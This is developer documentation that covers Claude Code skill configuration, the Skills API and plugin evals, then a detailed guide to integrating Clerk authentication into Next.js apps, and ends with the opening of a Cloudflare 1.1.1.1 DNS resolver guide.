Who may invoke. Permission rules gate the Skill tool: deny Skill to disable all skills, Skill(commit) for an exact name, Skill(deploy *) for a prefix. Synced skills live in the anthropic-skills: namespace (Skill(anthropic-skills:pdf)).

Visibility without editing the file. skillOverrides in settings (the /skills menu writes it to .claude/settings.local.json):

{
  "skillOverrides": {
    "legacy-context": "name-only",
    "deploy": "user-invocable-only",
    "old-helper": "off"
  }
}

Values: on, name-only, user-invocable-only, off. Plugin skills ignore skillOverrides; manage them through /plugin.

Dynamic context. !`git diff HEAD` at the start of a line (or a ```! block) runs before Claude sees the skill, and its output replaces the placeholder. A non-zero exit aborts the whole invocation (append || true where non-zero is normal). Commands are checked against permission rules and never prompt. Disable everywhere with "disableSkillShellExecution": true in managed settings.

Substitutions. $ARGUMENTS, $0/$ARGUMENTS[0], $name (from arguments), ${CLAUDE_SKILL_DIR}, ${CLAUDE_PROJECT_DIR}, ${CLAUDE_SESSION_ID}, ${CLAUDE_EFFORT}, and in plugins ${CLAUDE_PLUGIN_ROOT} / ${CLAUDE_PLUGIN_DATA}.

Bundled skills ship with Claude Code: /doctor, /code-review, /debug, /loop, /run, /verify, /run-skill-generator, /claude-api, and others. A project skill named verify or simplify is run before each commit (v2.1.286+). Turn all bundled skills off with disableBundledSkills.

Non-secret Claude Code settings for skills

Setting / env var Where Effect
skillOverrides settings.json Per-skill visibility (on / name-only / user-invocable-only / off)
skillListingBudgetFraction settings.json Listing budget as a fraction of context (default 1%, e.g. 0.02)
skillListingMaxDescChars settings.json Per-entry description cap (default 1,536)
SLASH_COMMAND_TOOL_CHAR_BUDGET env Fixed character budget for the listing
syncClaudeAiSkills user / managed settings false stops downloading claude.ai skills
CLAUDE_CODE_SYNC_SKILLS env 1 makes a -p run wait for synced skills before answering
disableBundledSkills settings.json Turn off Claude Code's bundled skills
disableSkillShellExecution settings (best in managed) Replace ! commands with a policy placeholder
allowManagedPermissionRulesOnly managed settings Ignore allowed-tools in project/personal skills (v2.1.282+)

How the Agent SDK loads skills

The Agent SDK reads the same filesystem skills as the CLI. There is no programmatic registration API for skills (unlike subagents' agents option).

import { query, type Options } from "@anthropic-ai/claude-agent-sdk";

const options: Options = {
  cwd: process.cwd(),                    // .claude/skills/ here or in a parent
  settingSources: ["user", "project"],   // required: skills load from disk
  skills: ["formatting-kes", "normalising-mpesa-phones"], // or "all" / []
  allowedTools: ["Read", "Bash(python3 *)"],
};

for await (const message of query({ prompt: "Format 1234.9 KES for Daraja", options })) {
  if (message.type === "system" && message.subtype === "init") {
    console.log("skills:", message.skills, "commands:", message.slash_commands);
  }
  if (message.type === "result") console.log(message.subtype);
}

/<name> in the prompt dispatches a user-invocable skill even if it's not in your skills list. Through the SDK or -p, only the first stacked skill expands. The init message's skills array lists user-invocable skills only. Correction to the previous revision: the skill's allowed-tools frontmatter is honoured in SDK sessions (alongside the allowedTools option) unless the org sets allowManagedPermissionRulesOnly. Forked skills always block for their result in SDK/-p runs.


Skills API (GA): upload, call, version

The Skills API is out of beta: no anthropic-beta header, client.skills.* in every SDK. Skills run inside the code-execution tool's container, so every request needs that tool.

import fs from "node:fs";
import Anthropic, { toFile } from "@anthropic-ai/sdk";

const client = new Anthropic(); // reads ANTHROPIC_API_KEY

const skill = await client.skills.create({
  files: [await toFile(fs.createReadStream("formatting-kes.zip"), "skill.zip")],
});

const response = await client.messages.create({
  model: "claude-opus-5-5",
  max_tokens: 2048,
  container: {
    skills: [{ type: "custom", skill_id: skill.id, version: skill.latest_version_id }],
  },
  tools: [{ type: "code_execution_20250825", name: "code_execution" }],
  messages: [{ role: "user", content: "Format 1234.9 KES for an STK Push Amount." }],
});

// New version = full snapshot; SKILL.md `name` must stay the same.
const v2 = await client.skills.versions.create(skill.id, {
  files: [await toFile(fs.createReadStream("formatting-kes.zip"), "skill.zip")],
});

The full runnable file, with list and delete, is examples/skills-api.mts. Type-checked with tsc --strict against @anthropic-ai/sdk@0.135.0. Python: client.skills.create(files=files_from_dir("formatting-kes")) via from anthropic.lib import files_from_dir. CLI: ant apply <dir> (records the ID in claude-lock.json).

Item Value
Pre-built skill IDs pptx, xlsx, docx, pdf (type: "anthropic", version like 20251013 or latest)
Custom skill IDs skill_01… (type: "custom"), versions skver_01… or latest
Skills per request 20 max
Upload size 30 MB uncompressed; SKILL.md at the upload root or under one top-level folder
display_name Optional, ≤255 chars, not unique; derived from name
Runtime No network, no runtime package installs; files mount at /skills/{name}/
Container reuse Pass container: { id, skills } on the next turn
Code execution price Free when the request also has web_search_20260209 / web_fetch_20260209 or later; otherwise 1,550 free container-hours/org/month, then $0.05 per container-hour
Data retention Skills are not ZDR-eligible; Compliance API audit log records create/delete

Migrating off the beta (skills-2025-10-02): drop the header; client.beta.skills → client.skills; display_title → display_name; latest_version (epoch string) → latest_version_id (skver_…); read source.type (now an object); list responses lose has_more, and version lists are newest-first; DELETE /v1/skills/{id} now deletes every version, and deleting a skill's only version returns 400. Pin versions in production, because latest follows anyone's upload in the workspace.

Secrets for these paths (server-side only):

ANTHROPIC_API_KEY=sk-ant-...

Ship skills in a plugin and marketplace

Use a plugin when several skills (plus agents, hooks, or MCP servers) should install as one versioned unit. A plugin is a directory with an optional .claude-plugin/plugin.json (name is the only required key) and components at the root:

codeamani-kenya/
├── .claude-plugin/plugin.json      # { "name": "codeamani-kenya", "version": "1.0.0" }
├── skills/
│   ├── formatting-kes/SKILL.md     # → /codeamani-kenya:formatting-kes
│   └── normalising-mpesa-phones/SKILL.md
└── evals/                          # claude plugin eval cases (results/ in .gitignore)

A marketplace is a repo with .claude-plugin/marketplace.json listing plugins (name, owner, plugins[] with name + source). Users run /plugin marketplace add <owner/repo> then /plugin install <plugin>@<marketplace>. Useful CLI: claude plugin init <name> --with skills (scaffolds a skills-dir plugin in ~/.claude/skills/<name>/), claude plugin validate ./plugin --strict [--json], claude --plugin-dir ./plugin for one-session testing. Anthropic's own: claude-plugins-official (added automatically) and anthropics/skills (/plugin install document-skills@anthropic-agent-skills). Every enabled plugin's skill descriptions cost context every turn, even unused ones.

Test skills with claude plugin eval

Seeing a skill fire isn't proof it helps. claude plugin eval (Claude Code v2.1.269+) runs each case in an isolated claude -p session with only your plugin, three runs by default, and repeats them without the plugin to report WITH, W/OUT and Δ.

claude plugin eval init                  # Claude interviews you and writes evals/<case>/
claude plugin eval .                     # run every case, both arms
claude plugin eval . --case formats-kes-for-daraja --runs 1 --ablation none   # quick iterate

A case is evals/<case>/prompt.md (frontmatter max_turns, timeout_seconds, allowed_tools, runs, tags, model; the body is the prompt) plus graders/*.md. There are six grader types: regex, tool_used, tool_order, file_exists (free), and llm, baseline (judge model, 2-of-3 votes). The tool_used: Skill "did it fire" grader is reported but excluded from the score in two-arm runs, so Δ stays honest. Use arm: both with min: 0, max: 0 for "must not fire" negatives. Worked cases: examples/plugin-eval/.

Runs grant only read-only tools unless you pass --allow-tools. Granting Bash requires an OS sandbox, which native Windows lacks, so run shell-granting suites under WSL2. MCP servers are mocked from evals/mocks/<server>/<tool>.md unless you pass --allow-real-servers / --mocks off.

CI gate:

claude plugin eval . --trust-plugin --json results.json --threshold 0.8 \
  --model claude-sonnet-5 --judge-model claude-haiku-4-5 --no-publish --max-cost-usd 20

Exit 0 pass, 1 below threshold or a load/run error, 2 partial (cost ceiling hit or auth rejected), 130/143 interrupted. Δ never changes the exit code. Every run and judge call is billed to your plan or API key. For a single skill inside a conversation, the skill-creator plugin (/plugin install skill-creator@claude-plugins-official) runs a similar loop with its own evals/evals.json format; the two formats aren't interchangeable.


Cross-agent support: one SKILL.md, many agents

The Agent Skills spec is open and the client showcase lists 46 products. The folder format is identical; discovery paths differ:

Agent Project path User path Notes
Claude Code .claude/skills/ ~/.claude/skills/ Does not read .agents/skills/
OpenAI Codex / ChatGPT .agents/skills/ (cwd → repo root) ~/.agents/skills/, admin /etc/codex/skills Explicit invoke $skill-name; optional agents/openai.yaml (allow_implicit_invocation: false)
Cursor .cursor/skills/, .agents/skills/ ~/.cursor/skills/, ~/.agents/skills/ Also reads .claude/skills/, .codex/skills/ and their ~ forms. Supports paths, disable-model-invocation; /migrate-to-skills converts rules/commands
GitHub Copilot / VS Code .github/skills/, .claude/skills/, .agents/skills/ ~/.copilot/skills/, ~/.agents/skills/
Gemini CLI .gemini/skills/, .agents/skills/ (alias wins) ~/.gemini/skills/, ~/.agents/skills/
Others Amp, OpenCode, Goose, Junie, Roo Code, Kiro, Factory, OpenHands, Letta, Spring AI… See each client's docs on agentskills.io

Portable-skill rules: stick to the six spec fields (Cursor and Codex require name and description, and name must equal the folder name); reference files by relative path instead of ${CLAUDE_SKILL_DIR}; avoid ! injection; keep allowed-tools space-separated (it's experimental and support varies). To serve Claude Code and .agents/skills agents from one repo, keep the source in one folder and symlink the other (Claude Code and Codex both follow symlinked skill folders).


Authoring checklist


codeAmani notes

Official docs:

Clerk Integration Guide

Technology: clerk · Category: auth · Last reviewed: 2026-10-22

Source: https://tech-stack.codeamanilabs.org/guide/clerk

Insight:

Clerk is the managed auth layer — drop-in Next.js components handle sign-in, sessions, orgs, billing and machine tokens so you don't roll your own. Current major is Clerk Core 3 (@clerk/nextjs v7): <ClerkProvider> mounts inside <body>, <Show> replaced <SignedIn>/<SignedOut>/<Protect>, and on Next.js 16 the middleware file is proxy.ts. The big 2026 shift: createRouteMatcher() is deprecated — keep clerkMiddleware() in proxy.ts, but put await auth.protect() in every page, Route Handler and Server Action. Verify webhooks with verifyWebhook() and make handlers idempotent on svix-id. SMS sign-in is a paid feature and only US/CA are on the SMS allowlist by default — enable Kenya (+254) explicitly. Self-hosted alternative when per-MRU pricing or a JOIN-able user table matters: better-auth/CLAUDE_CODE_INTEGRATION.md.

 ██████╗██╗     ███████╗██████╗ ██╗  ██╗
██╔════╝██║     ██╔════╝██╔══██╗██║ ██╔╝
██║     ██║     █████╗  ██████╔╝█████╔╝
██║     ██║     ██╔══╝  ██╔══██╗██╔═██╗
╚██████╗███████╗███████╗██║  ██║██║  ██╗
 ╚═════╝╚══════╝╚══════╝╚═╝  ╚═╝╚═╝  ╚═╝

Clerk Integration Guide

Focus: Adding Clerk authentication to codeAmani's Next.js apps from Claude Code — the Clerk CLI for setup, the Clerk MCP server for account work, resource-level route protection, verified webhooks, Organizations, Billing, machine auth, and Supabase/Neon RLS.

Overview

Clerk is a hosted authentication and user-management platform: prebuilt UI components, session JWTs, Organizations (multi-tenancy + RBAC), webhooks, social/enterprise SSO, MFA, passkeys, Clerk Billing (subscriptions on Stripe), and machine auth (API keys, M2M tokens, OAuth access tokens). It is codeAmani's default auth provider.

Current versions (npm, 2026-10-22):

Package Version Notes
@clerk/nextjs 7.9.19 Core 3. Peer deps: next ^15.2.8 || ^16.0.10 (and later 16.x), React 18 or 19
@clerk/backend 3.26.1 createClerkClient, verifyWebhook (@clerk/backend/webhooks)
@clerk/express 2.1.82 clerkMiddleware() + getAuth(req)
@clerk/react 6.18.0 Renamed from @clerk/clerk-react in Core 3
clerk (CLI) 4.0.0 npx -y clerk@latest init / doctor / deploy / mcp install
@clerk/eslint-plugin 0.2.0 require-auth-protection rule (experimental — pin it)
svix 2.8.0 Only for the raw-Svix fallback; verifyWebhook() doesn't need it

Node.js ≥ 20.9.0 for every Core 3 package.

Official Documentation

Resource URL
Clerk docs (append .md to any page for markdown) https://clerk.com/docs
Docs index for agents https://clerk.com/docs/llms.txt
Next.js quickstart https://clerk.com/docs/nextjs/getting-started/quickstart
Core 3 upgrade guide https://clerk.com/docs/guides/development/upgrading/upgrade-guides/core-3
Migrate away from createRouteMatcher() https://clerk.com/docs/guides/development/upgrading/upgrade-guides/migrate-from-create-route-matcher
clerkMiddleware() https://clerk.com/docs/reference/nextjs/clerk-middleware
auth() https://clerk.com/docs/reference/nextjs/app-router/auth
Webhooks — sync data https://clerk.com/docs/guides/development/webhooks/syncing
Clerk MCP server https://clerk.com/docs/guides/ai/mcp/clerk-mcp-server
Clerk CLI https://clerk.com/docs/cli
Machine auth https://clerk.com/docs/guides/development/machine-auth/overview
Billing https://clerk.com/docs/guides/billing/overview
Pricing https://clerk.com/pricing

What changed in 2026 (read this first)

Area Old pattern Current pattern
Major version Core 2 / @clerk/nextjs v6 Core 3 / v7 (released 2026-03-03) — run npx @clerk/upgrade
Middleware file middleware.ts proxy.ts on Next.js 16+ (middleware.ts on ≤ 15) — same code
Route protection createRouteMatcher() + auth.protect() in middleware createRouteMatcher() deprecated (v7.5.14). clerkMiddleware() stays, with no auth gate. Each page, Route Handler and Server Action calls await auth.protect()
Control components <SignedIn> / <SignedOut> / <Protect> <Show when="signed-in" | "signed-out" | { role } | { permission } | { plan } | { feature }>
Provider placement <ClerkProvider> wrapping <html> Inside <body>
Setup npm i @clerk/nextjs + hand-written files npx -y clerk@latest init (no account needed; writes .env.local)
Redirect env vars NEXT_PUBLIC_CLERK_AFTER_SIGN_IN_URL NEXT_PUBLIC_CLERK_SIGN_IN_FALLBACK_REDIRECT_URL (and …_FORCE_REDIRECT_URL)
Metadata writes users.updateUser(id, { publicMetadata }) users.updateUserMetadata() (merge) or replaceUserMetadata() (overwrite). API version 2026-05-12 removed metadata from updateUser
Backend verify helpers verifySecret() / verifyAccessToken() / verifyToken() on resources verify() (e.g. clerkClient.apiKeys.verify(secret))
Express req.auth, requireAuth() getAuth(req) (req.auth removed; requireAuth() deprecated)
MCP server Docs/snippets only Account tools too (apps, instance config, users, domains, production deploy) — OAuth sign-in required
Dashboard Secret keys Visible any time Shown only once, at creation (2026-10-19). Store it in the vault immediately
Expo native components @clerk/expo/native @clerk/expo/native-components + npx expo install @clerk/expo-native-components (@clerk/expo 4.11.0+, 2026-10-20). Ship the new binary before any OTA update
SAML signing certs One idp_certificate per connection Up to five via idp_certificates (2026-10-06) — rotate with zero sign-in failures

MCP Server Setup

Official Clerk MCP server (revamped 2026-10-15)

Remote server, Streamable HTTP only (no SSE), at https://mcp.clerk.com/mcp. Every tool needs an OAuth sign-in with your Clerk Dashboard account; you pick one workspace and the server acts with your workspace Role.

# Claude Code (native HTTP transport) — then run /mcp → clerk → Authenticate
claude mcp add clerk --transport http https://mcp.clerk.com/mcp

# …or let the Clerk CLI register it in every detected AI client
npx -y clerk@latest mcp install

.mcp.json (project-scoped):

{
  "mcpServers": {
    "clerk": {
      "type": "http",
      "url": "https://mcp.clerk.com/mcp"
    }
  }
}

Clients without MCP OAuth support can bridge through npx -y mcp-remote https://mcp.clerk.com/mcp.

Tool group Tools
Identity whoami
Applications list_applications, get_application, create_application
Instance config get_instance_config, get_instance_config_schema, patch_instance_config, put_instance_config (dry-run preview)
Users list_users, create_user
Domains / DNS list_domains, get_domain_status, check_domain_dns
Production get_deploy_oauth_providers, create_production_instance (needs confirm: true, irreversible), set_oauth_provider_credentials
SDK snippets clerk_sdk_snippet (bundles like b2b-saas, organizations), list_clerk_sdk_snippets
Feedback submit_feedback, get_more_tools

OAuth scopes requested: user:org:read, applications:read|manage, users:read|manage, application_domains:read|manage. The server never returns Secret keys (pull them with clerk env pull or the Dashboard). It sends a one-line, agent-written context summary per tool call to Clerk for analytics (no inputs or results).

Building your own MCP server with Clerk as the OAuth provider: https://clerk.com/docs/nextjs/guides/ai/mcp/build-mcp-server (uses @clerk/mcp-tools, currently 0.6.0).

Clerk CLI (clerk, v4.0.0)

Command Purpose
npx -y clerk@latest init Detect framework, install SDK, write proxy.ts/provider/auth routes, provision an accountless app and write dev keys to .env.local
clerk auth login / clerk link Sign in and claim/link the app
clerk doctor [--fix] Validate the integration (also checks MCP reachability)
clerk env pull Pull keys into the env file
clerk config pull / config patch / config schema Instance auth settings as code (e.g. auth_phone)
clerk enable orgs / enable billing --for users|orgs Toggle features
clerk webhooks listen / webhooks verify Local webhook relay tunnel + offline signature check
clerk deploy / deploy status --mode agent Dev → production (domain, DNS, OAuth creds)
clerk api <path> Authenticated Backend/Platform API client
clerk impersonate Short-lived sign-in link as a user

Non-TTY shells run the CLI in agent mode automatically (JSON output, no prompts).


SDK Integration — Next.js (App Router)

flowchart TD
  A["Request"] --> B["proxy.ts: clerkMiddleware()<br/>reads session, no gating"]
  B --> C{"Resource type"}
  C -->|"page / layout"| D["await auth.protect()<br/>→ redirect to sign-in"]
  C -->|"Route Handler"| E["await auth.protect()<br/>→ 404, or 401 for machine tokens"]
  C -->|"Server Action"| F["await auth.protect()<br/>→ 401"]
  D --> G["Render with userId / orgId"]
  E --> G
  F --> G

Requirements (Core 3): Node.js ≥ 20.9.0; Next.js ≥ 15.2.3 per the upgrade guide (the 7.9.19 peer range is ^15.2.8 or ^16.0.10+). Prefer Next 15.5.18+ / 16.2.6+ — earlier 16.x builds are exposed to the GHSA-26hh-7cqf-hhc6 proxy bypass that Clerk's changelog flags.

npx -y clerk@latest init     # recommended — signed in or not
npx -y clerk@latest doctor   # verify afterwards
# manual fallback only if init failed:
npm install @clerk/nextjs@7.9.19

proxy.ts (Next.js 16) — session plumbing only

// proxy.ts (Next.js 16+). On Next.js ≤ 15 name it middleware.ts — same contents.
import { clerkMiddleware } from "@clerk/nextjs/server";

export default clerkMiddleware();

export const config = {
  matcher: [
    // Skip Next.js internals and static files, unless found in search params
    "/((?!_next|[^?]*\\.(?:html?|css|js(?!on)|jpe?g|webp|png|gif|svg|ttf|woff2?|ico|csv|docx?|xlsx?|zip|webmanifest)).*)",
    // Always run for API routes
    "/(api|trpc)(.*)",
    // Always run for Clerk's frontend API routes
    "/__clerk/(.*)",
  ],
};

clerkMiddleware() is still required — auth() won't work without it — but by default it protects nothing. Use it for non-auth work (i18n, headers, frontendApiProxy, session-task redirects). Add { debug: process.env.NODE_ENV === "development" } when debugging.

Protect each resource (the current recommendation)

// app/dashboard/page.tsx — Server Component
import { auth, currentUser } from "@clerk/nextjs/server";

export default async function DashboardPage() {
  const { userId } = await auth.protect(); // redirects signed-out users to sign-in
  const user = await currentUser();        // Backend API call — only when you need profile fields
  return <h1>Welcome, {user?.firstName ?? userId}</h1>;
}
// app/api/projects/route.ts — Route Handler
import { auth } from "@clerk/nextjs/server";

export async function GET() {
  const { isAuthenticated, userId, orgId, has } = await auth();
  if (!isAuthenticated) return Response.json({ error: "Unauthorized" }, { status: 401 });
  if (!has({ permission: "org:projects:read" })) {
    return Response.json({ error: "Forbidden" }, { status: 403 });
  }
  return Response.json({ userId, orgId });
}
// app/dashboard/actions.ts — Server Action (middleware can never protect these: called by ID, not path)
"use server";
import { auth } from "@clerk/nextjs/server";

export async function renameProject(formData: FormData) {
  const { userId } = await auth.protect(); // 401 when signed out
  const name = String(formData.get("name") ?? "").slice(0, 120);
  return { userId, name };
}

auth.protect() outcomes: signed in + authorized → returns the Auth object; signed in but unauthorized → 404; signed out → redirect for documents, 401 for Server Actions, 404 for other session-token requests, 401 for machine-token requests. Use plain auth() + isAuthenticated when you want your own 401/403 JSON.

Lint it so nothing ships unprotected (@clerk/eslint-plugin, ESLint ≥ 9 flat config):

// eslint.config.mjs
import clerkNext from "@clerk/eslint-plugin/next";

export default [
  {
    plugins: { "@clerk/next": clerkNext },
    rules: {
      "@clerk/next/require-auth-protection": [
        "error",
        { protected: ["**"], public: ["app/sign-in/**", "app/sign-up/**", "app/api/webhooks/**"] },
      ],
    },
  },
];

npx --package @clerk/eslint-plugin clerk-next-fix-auth-protection --dry-run previews the bulk fixer that inserts await auth.protect() where it's missing.

auth() vs currentUser()

Helper Cost Returns Use for
await auth() Free (verified JWT claims) isAuthenticated, userId, sessionId, orgId, orgRole, orgSlug, has(), getToken(), redirectToSignIn() Access checks, DB scoping
await auth.protect(opts?) Free Auth object or throws/redirects Gating a resource; accepts role, permission, has, token, unauthenticatedUrl, unauthorizedUrl
await currentUser() Backend API call (rate-limited, deduped per request) Backend User incl. privateMetadata Profile fields on the server — never pass the whole object to the client

Both are async — always await. auth() only works in App Router server code with clerkMiddleware() configured.

Client UI components

// app/layout.tsx — Core 3: <ClerkProvider> INSIDE <body>
import { ClerkProvider, Show, SignInButton, SignUpButton, UserButton } from "@clerk/nextjs";

export default function RootLayout({ children }: { children: React.ReactNode }) {
  return (
    <html lang="en">
      <body>
        <ClerkProvider>
          <header>
            <Show when="signed-out">
              <SignInButton />
              <SignUpButton />
            </Show>
            <Show when="signed-in">
              <UserButton />
            </Show>
          </header>
          {children}
        </ClerkProvider>
      </body>
    </html>
  );
}

<Show> mapping: <SignedIn> → when="signed-in", <SignedOut> → when="signed-out", <Protect role="admin"> → when={{ role: "admin" }}, <Protect permission="…"> → when={{ permission: "…" }}, <Protect condition={fn}> → when={fn}; plus when={{ plan: "pro" }} / when={{ feature: "…" }} for Billing. fallback renders the else branch. <Show> hides UI — it is not a security boundary.

Mount <SignIn /> / <SignUp /> on optional catch-all routes (app/sign-in/[[...sign-in]]/page.tsx) so sub-paths like /sign-in/factor-one and /sign-in/sso-callback resolve. With shadcn/ui: npm i @clerk/ui, then appearance={{ theme: shadcn }} from @clerk/ui/themes and @import '@clerk/ui/themes/shadcn.css'.

Backend SDK (@clerk/backend / clerkClient)

import { clerkClient } from "@clerk/nextjs/server";

const client = await clerkClient();
const { data: users } = await client.users.getUserList({ limit: 10 });

// Metadata: dedicated endpoints since API version 2026-05-12
await client.users.updateUserMetadata(userId, { publicMetadata: { plan: "pro" } });   // deep merge
await client.users.replaceUserMetadata(userId, { privateMetadata: { tier: "gold" } }); // overwrite field

Recent @clerk/backend additions (3.24 → 3.26.1):

Outside Next.js: createClerkClient({ secretKey: process.env.CLERK_SECRET_KEY }) from @clerk/backend. Backend API limit: 1,000 requests / 10 s (production), 100 / 10 s (development) — currentUser() counts against it.


Node.js / Express

npm install @clerk/express@2.1.82
import express from "express";
import { clerkMiddleware, getAuth } from "@clerk/express";

const app = express();
app.use(clerkMiddleware());

app.get("/api/profile", (req, res) => {
  const { isAuthenticated, userId, has } = getAuth(req);
  if (!isAuthenticated) return void res.status(401).json({ error: "Unauthorized" });
  if (!has({ permission: "org:profile:read" })) return void res.status(403).json({ error: "Forbidden" });
  res.json({ userId });
});

requireAuth() is deprecated (and redirects — never use it for APIs); req.auth was removed in Core 3.


Webhook Integration

sequenceDiagram
  participant C as "Clerk (via Svix)"
  participant R as "/api/webhooks/clerk"
  participant DB as "Database"
  C->>R: "POST + svix-id / svix-timestamp / svix-signature"
  R->>R: "verifyWebhook(req)"
  alt "invalid"
    R-->>C: "400 (Svix retries)"
  else "valid"
    R->>DB: "seen svix-id? skip : upsert (compare updated_at)"
    R-->>C: "200"
  end
// app/api/webhooks/clerk/route.ts — reads CLERK_WEBHOOK_SIGNING_SECRET automatically
import { verifyWebhook } from "@clerk/nextjs/webhooks";
import type { NextRequest } from "next/server";

export async function POST(req: NextRequest) {
  let evt;
  try {
    evt = await verifyWebhook(req);
  } catch {
    return new Response("Invalid signature", { status: 400 });
  }
  if (evt.type === "user.created" || evt.type === "user.updated") {
    // upsert by evt.data.id; skip if stored updated_at > evt.data.updated_at
  }
  return new Response(null, { status: 200 });
}

Rules (from Clerk's webhook docs):


Organizations (B2B)

Enterprise SSO (B2B customers)

Clerk Billing (subscriptions on Stripe)

Machine auth: API keys, M2M tokens, OAuth tokens

Token Use case Create Verify (Next.js)
API keys (GA 2026-04) Your users/orgs call your API <UserProfile>/<OrganizationProfile> "API Keys" tab, <APIKeys />, or clerkClient.apiKeys.create({ name, subject }) auth({ acceptsToken: "api_key" }) → subject, scopes, claims
M2M tokens Service ↔ service inside your infra clerkClient.m2m.createToken({ tokenFormat: "jwt" }) with CLERK_MACHINE_SECRET_KEY auth({ acceptsToken: "m2m_token" }) or clerkClient.m2m.verify({ token })
OAuth access tokens Third-party apps / MCP clients acting for a user Clerk as OAuth provider auth({ acceptsToken: "oauth_token" })

acceptsToken defaults to session_token, so machine tokens are rejected unless you opt in. API-key secrets are returned once, from create(). JWT-format M2M tokens verify locally (no per-verify fee) but can't be revoked or listed; opaque ones can. Clerk does not support the OAuth client-credentials flow yet.


Database integration (third-party auth + RLS)

Supabase

  1. Clerk Dashboard → Supabase integration setup → Activate (adds "role": "authenticated" to session tokens) → copy the Clerk domain.
  2. Supabase Dashboard → Authentication → Sign In / Providers → Third-Party Auth → Clerk → paste the domain. (The old JWT-template + shared-secret path is deprecated since 2025-04-01.)
  3. Owner column is text (Clerk IDs are user_…), default auth.jwt()->>'sub'; policies compare (select auth.jwt()->>'sub') = user_id.
  4. Pass the Clerk session token through createClient(url, publishableKey, { accessToken }).
// lib/supabase-server.ts
import { auth } from "@clerk/nextjs/server";
import { createClient } from "@supabase/supabase-js";

export function createServerSupabaseClient() {
  return createClient(
    process.env.NEXT_PUBLIC_SUPABASE_URL!,
    process.env.NEXT_PUBLIC_SUPABASE_PUBLISHABLE_KEY!,
    { async accessToken() { return (await auth()).getToken(); } },
  );
}

Full pattern: supabase/CLAUDE_CODE_INTEGRATION.md and examples/supabase-rls.ts.

Neon


Phone / SMS sign-in (Kenya-targeted projects)


Environment Variables

Secrets (server-only — store in the vault / Vercel env, never NEXT_PUBLIC_):

CLERK_SECRET_KEY=sk_test_...
CLERK_WEBHOOK_SIGNING_SECRET=whsec_...
CLERK_MACHINE_SECRET_KEY=ak_...
CLERK_ENCRYPTION_KEY=replace-with-128-bit-random-value

CLERK_MACHINE_SECRET_KEY is only for M2M; CLERK_ENCRYPTION_KEY is only needed when you pass secretKey to clerkMiddleware() (dynamic keys).

Non-secret settings:

Variable Example Notes
NEXT_PUBLIC_CLERK_PUBLISHABLE_KEY pk_test_… / pk_live_… Public by design
NEXT_PUBLIC_CLERK_SIGN_IN_URL /sign-in
NEXT_PUBLIC_CLERK_SIGN_UP_URL /sign-up
NEXT_PUBLIC_CLERK_SIGN_IN_FALLBACK_REDIRECT_URL /dashboard Replaces deprecated …_AFTER_SIGN_IN_URL
NEXT_PUBLIC_CLERK_SIGN_UP_FALLBACK_REDIRECT_URL /onboarding Replaces deprecated …_AFTER_SIGN_UP_URL
NEXT_PUBLIC_CLERK_PROXY_URL https://app.example.com/__clerk Only with a Frontend API proxy
NEXT_PUBLIC_CLERK_TELEMETRY_DISABLED 1 Opt out of telemetry

The Dashboard now shows a Secret key only once, at creation — copy it straight into the vault. clerk init / clerk env pull write keys for you; don't paste them into chat.


Automation Workflows

Slash command: scaffold auth

.claude/commands/clerk-auth.md:

Add Clerk authentication to this Next.js App Router project.

1. Check for existing auth first; if found, stop and ask before migrating.
2. Run `npx -y clerk@latest init` (do not hand-write setup unless it fails).
3. Confirm `proxy.ts` (Next 16) or `middleware.ts` (Next ≤15) exports `clerkMiddleware()` with the standard matcher and NO createRouteMatcher gate.
4. Confirm `<ClerkProvider>` is inside `<body>` and the header uses `<Show>`.
5. Add `await auth.protect()` to every protected page, Route Handler and Server Action.
6. Add `@clerk/eslint-plugin` with `require-auth-protection` (public: sign-in, sign-up, api/webhooks).
7. Create `app/api/webhooks/clerk/route.ts` with `verifyWebhook()` and idempotent upserts.
8. Run `npx -y clerk@latest doctor` and report what's left (webhook secret, SMS allowlist, prod deploy).

CI check

# .github/workflows/clerk-check.yml
name: Clerk auth guardrails
on: [pull_request]
jobs:
  lint:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-node@v4
        with: { node-version: "22" }
      - run: npm ci
      - run: npx eslint .   # includes @clerk/next/require-auth-protection
      - name: No deprecated Clerk APIs
        run: |
          ! grep -rnE "createRouteMatcher|<SignedIn|<SignedOut|<Protect|authMiddleware" app src proxy.ts middleware.ts 2>/dev/null

Common Use Cases

Use case Approach
Add auth to Next.js npx -y clerk@latest init, then clerk doctor
Protect a page / API / action await auth.protect() in that file (+ lint rule)
Role/permission check has({ permission }), auth.protect({ role }), <Show when={{ role }}>
Paywall a feature Clerk Billing + has({ plan }) / has({ feature })
Let customers call your API API keys + auth({ acceptsToken: "api_key" })
Service-to-service auth M2M tokens (tokenFormat: "jwt" for free local verify)
Sync users to DB verifyWebhook() + idempotent upsert on svix-id
RLS in Supabase / Neon Third-party auth (Supabase) / JWKS provider (Neon Data API)
Manage Clerk from an agent Clerk MCP server (account tools) or clerk api

Troubleshooting

Issue Fix
auth() was called but Clerk can't detect usage of clerkMiddleware() proxy.ts/middleware.ts missing, wrong name for your Next version, or matcher excludes the route
Dev console: createRouteMatcher() deprecation warning Migrate to resource-level auth.protect(); it's removed in the next major
<SignedIn> is not available in @clerk/nextjs Core 3 removed it — use <Show when="signed-in">
Webhook signature fails Wrong CLERK_WEBHOOK_SIGNING_SECRET (per endpoint, per instance) or body was parsed before verify
Webhook 401/redirect Route is protected — webhooks carry no session
updateUser() ignores metadata API 2026-05-12 — use updateUserMetadata() / replaceUserMetadata()
SMS code never arrives (Kenya) +254 not on the SMS allowlist, or Hobby plan; check SMS logs
Billing checkout fails for EU/UK cards 3-D Secure isn't supported by Clerk Billing
getToken() throws ClerkOfflineError Core 3 behavior when offline — wrap in try/catch
Lost Secret key Dashboard shows it once — create a new one, deploy, then delete the old

codeAmani notes

Official docs:

Cloudflare 1.1.1.1 (DNS Resolver) Integration Guide

Technology: cloudflare-1-1-1-1 · Category: domains · Last reviewed: 2026-11-04

Source: https://tech-stack.codeamanilabs.org/guide/cloudflare-1-1-1-1

Insight:

1.1.1.1 is Cloudflare's free public DNS resolver, with a keyless DNS-over-HTTPS API at cloudflare-dns.com/dns-query. Reach for it to check records from code and to harden devices, not as a production dependency: it has no SLA and only limited support. DNS failures arrive as HTTP 200 with a non-zero Status, a filtered name returns 0.0.0.0 with Status 0, and the JSON format has no RFC and has already had breaking changes. So read Status and Comment rather than response.ok, and use wireformat when a wrong parse would matter. It answers what a cache sees, not what your nameserver currently holds.

 ██╗   ██╗   ██╗   ██╗
███║  ███║  ███║  ███║
╚██║  ╚██║  ╚██║  ╚██║
 ██║   ██║   ██║   ██║
